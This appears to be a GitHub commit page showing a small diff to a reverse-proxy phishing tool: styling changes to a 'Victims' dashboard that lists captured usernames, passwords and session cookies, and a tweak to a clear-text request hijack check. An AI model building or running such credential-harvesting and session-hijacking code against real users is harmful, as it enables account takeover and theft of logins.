Skip to content
Permalink
Browse files

Small updates

  • Loading branch information...
drk1wi committed Jul 6, 2019
1 parent a0c77f8 commit f0ffa875d34f94f8ef76372c21e0d2efe49652de
Showing with 19 additions and 15 deletions.
  1. +17 −13 plugin/control.go
  2. +2 −2 plugin/hijack.go
@@ -90,55 +90,59 @@ function clearcookies(){
<body>
<div class="container">
<h1>Victims</h1>
<div class="row">
<div class="col-md-4 text-center">
<h2>Clicks</h2>
<p style="font-size: 2em;">{{len .Victims}}</p>
<h4>Clicks</h4>
<p style="font-weight:bold;font-size: 1em;">{{len .Victims}}</p>
</div>
<div class="col-md-4 text-center">
<h2>Logins</h2>
<p style="font-size: 2em;">{{.CredsCount}} ({{printf "%.1f" .CredsPercent}}%)</p>
<h4>Logins</h4>
<p style="font-weight:bold;font-size: 1em;">{{.CredsCount}} ({{printf "%.1f" .CredsPercent}}%)</p>
</div>
<div class="col-md-4 text-center">
<h2>Terminations</h2>
<p style="font-size: 2em;">{{.TermCount}} ({{printf "%.1f" .TermPercent}}%)</p>
<h4>Terminations</h4>
<p style="font-weight:bold;font-size: 1em;">{{.TermCount}} ({{printf "%.1f" .TermPercent}}%)</p>
</div>
</div>
<hr>
<div class="row">
<table class="table table-dark">
<thead class="thead-dark">
<tr>
<th class="text-center">UUID</th>
<th class="text-center">Username</th>
<th class="text-center">Password</th>
<th class="text-center">Terminated</th>
<th class="text-center">Session</th>
<th class="text-center">Cookies</th>
</tr>
</thead>
<tbody>
{{range .Victims}}
<tr>
<td>{{.UUID}}</td>
<td>{{.Username}}</td>
<td>{{.Password}}</td>
<td class="text-center">{{.UUID}}</td>
<td class="text-center">{{.Username}}</td>
<td class="text-center">{{.Password}}</td>
<td class="text-center">
{{if .Terminated}}
<span style="color: green; font-weight: bold;">Y</span>
{{else}}
<span style="color: red; font-weight: bold;">N</span>
{{end}}
</td>
<td><a onclick="clearcookies();" href="/{{$.URL}}/ImpersonateFrames?user_id={{.UUID}}" target="_blank" id="code" type="submit" class="btn btn-warning">Impersonate user (beta)</a>
<td><a href="/{{$.URL}}/Cookies?user_id={{.UUID}}" target="_blank" id="code" type="submit" class="btn btn-info">View Cookies</a>
{{/* This requires additional coding ... <td><a onclick="clearcookies();" href="/{{$.URL}}/ImpersonateFrames?user_id={{.UUID}}" target="_blank" id="code" type="submit" class="btn btn-warning">Impersonate user (beta)</a> */}}
<td class="text-center"><a href="/{{$.URL}}/Cookies?user_id={{.UUID}}" target="_blank" id="code" type="submit" class="btn btn-info">View Cookies</a>
</td>
</tr>
{{end}}
</tbody>
</table>
</div>
</div>
</body>
</html>
@@ -47,9 +47,9 @@ func init() {
}


if strings.Contains(context.OriginalTarget,runtime.ProxyDomain) && context.IsTLS == false {
if strings.Contains(context.OriginalTarget,runtime.ProxyDomain) == false && context.IsTLS == false {

log.Warningf("Hijack plugin: Hijacked clear-text [%s%s]\n\tID: [%s] \n\tIP: [%s] \n\tUser-Agent: [%s]\n",context.Target,req.URL.Path,context.UserID,context.IP,req.Header.Get("User-Agent"))
log.Warningf("Hijack plugin: Clear-text [%s%s]\n\tID: [%s] \n\tIP: [%s] \n\tUser-Agent: [%s]\n",context.Target,req.URL.Path,context.UserID,context.IP,req.Header.Get("User-Agent"))
}

if strings.Contains(context.OriginalTarget,runtime.ProxyDomain) == false && context.IsTLS == true {

0 comments on commit f0ffa87

Please sign in to comment.
You can’t perform that action at this time.